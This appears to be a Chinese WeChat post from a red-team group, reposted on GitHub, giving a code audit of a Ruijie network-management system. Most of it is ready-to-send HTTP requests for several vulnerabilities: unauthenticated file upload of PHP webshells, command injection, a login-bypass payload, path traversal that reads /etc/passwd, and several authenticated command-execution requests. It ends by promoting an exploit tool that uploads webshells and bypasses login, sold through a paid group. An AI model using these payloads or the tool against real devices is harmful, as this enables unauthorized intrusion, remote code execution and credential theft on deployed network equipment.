Skip to content

Latest commit

 

History

History
308 lines (142 loc) · 6.42 KB

[Lambda小队]-2023-10-25-某捷网管系统代码审计-附工具.md

File metadata and controls

308 lines (142 loc) · 6.42 KB

某捷网管系统代码审计-附工具

原创 鱼哭了水知道 Lambda小队

Lambda小队

微信号 LambdaTeam

功能介绍 一群热爱网络安全的热血青年,一支做好事不留名的Lambda小队


__发表于

收录于合集

#工具分享 4 个

#代码审计 11 个

#红队实战 5 个

#狙击供应链 4 个

免责声明:

__ 本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。

0x01 代码审计

首先查看其中一个模块的映射配置

总体鉴权

mvc/controller/core.controller.php

值都是从session中获取

引入该鉴权文件基本都是

因此只需要看php头部是否引入该文件就知道有没有未授权

  • 前台文件上传

漏洞文件ddi/server/fileupload.php

首先是没有引入鉴权文件,因此此路由存在未授权

文件命名

需要传入uploadDir以及name

uploadDir是文件落地位置,当目录不存在时自动创建目录

name是落地的文件名,可以通过两种方式定义,第一种是直接GET发包,比如?name=1234.php或者?filename=1234.php,那么最后落地的文件就是1234.php,需要注意的是当发包的参数是filename时,由于代码中的顺序是在GET的name参数和POST文件上传包之后的另一个条件语句,所以就算前面通过前两者已经定义过文件名了,也会重新赋值文件名

第二种是通过POST文件上传包,其中$_FILES["file"]["name"]即文件上传包中的filename

最后文件上传包

对应web路径访问

http://x.x.x.x/321/123.php

  • 无回显命令执行

漏洞文件guest_auth/guestIsUp.php

命令直接拼接,只需POST传ip即所要执行的命令(首选需要截断之前的命令)然后mac不为空,即可命令执行

  • 登录绕过+后台RCE


POST /ddi/server/login.php HTTP/1.1            Host:             User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36            Accept: */*            Accept-Encoding: gzip, deflate            Accept-Language: zh-CN,zh;q=0.9            Connection: close            Upgrade-Insecure-Requests: 1            X-Forwarded-For: 127.0.0.1            Content-Type: application/x-www-form-urlencoded            Content-Length: 42              
  
            username=admin&password=admin?show+version

拿到cookie

带cookie访问/ddi/server/newcli.php或者newcli.php,已经是登陆状态

删掉cookie,会跳转回loginout.php

然后就可以直接使用后台洞RCE

比如漏洞文件rac_pi/rac.php

看了下代码,经典的==和===的问题

旧代码,使用==做判断,判断值是否相等,忽略数据类型

新代码,使用了===做判断,值和数据类型是否都相等

  • 后台任意文件读取

漏洞文件download.php

/download.php?a=read_txt&file=../../../../etc/passwd
  • 后台命令执行一

漏洞文件cli.php


POST /cli.php?a=shell HTTP/1.1            Host:             User-Agent: Go-http-client/1.1            Content-Length: 24            Content-Type: application/x-www-form-urlencoded            Cookie: RUIJIEID=nk5erth9i0pvcco3n7fbpa9bi0;user=admin;             X-Requested-With: XMLHttpRequest            Accept-Encoding: gzip              
           notdelay=true&command=id
  • 后台命令执行二

漏洞文件itbox_pi/branch_passw.php


POST /itbox_pi/branch_passw.php?a=set HTTP/1.1            Host:             User-Agent: Go-http-client/1.1            Content-Length: 41            Content-Type: application/x-www-form-urlencoded            Cookie: RUIJIEID=52222egp72ilkpf2de7qbrigk3;user=admin;            X-Requested-With: XMLHttpRequest            Accept-Encoding: gzip              
  
            pass=|cat /etc/psswd>../test_test.txt
  • 后台命令执行三

漏洞文件rac_pi/rac.php

可以直接读文件,或者截断命令执行


POST /rac_pi/rac.php?a=getPlatList HTTP/1.1Host: User-Agent: Go-http-client/1.1Content-Length: 41Content-Type: application/x-www-form-urlencodedCookie: RUIJIEID=52222egp72ilkpf2de7qbrigk3;user=admin;X-Requested-With: XMLHttpRequestAccept-Encoding: gzip  
path=  

0x02 后渗透

命令行获取密码

本地命令行获取WEB管理端密码cls-webuser-list

0x03 利用工具

扫描文末二维码加入圈子获取

  • Help

  • 漏洞检测

判断前台漏洞文件是否存在

  • ddi/server/fileupload.php;

  • guest_auth/guestIsUp.php;

  • ddi/server/login.php;

  • 单URL检测

ruijie-check check -u http://127.0.0.1

  • 批量检测

指定-f批量扫描, 结果会自动保存到output.txt

  • 漏洞利用

  • 文件上传

需要同目录下放需要上传的webshell文件 比如shell.php

ruijie-check attack -u http://127.0.0.1 -m fileupload -f shell.php

或者

ruijie-check attack -u http://127.0.0.1 -m rce -f shell.php
  • 登录绕过

ruijie-check attack -u http://127.0.0.1 -m webmaster

0x04 加入我们

后台回复“加群”或“小助手”,或扫描下方二维码加入我们的付费圈子,一起进步吧

预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看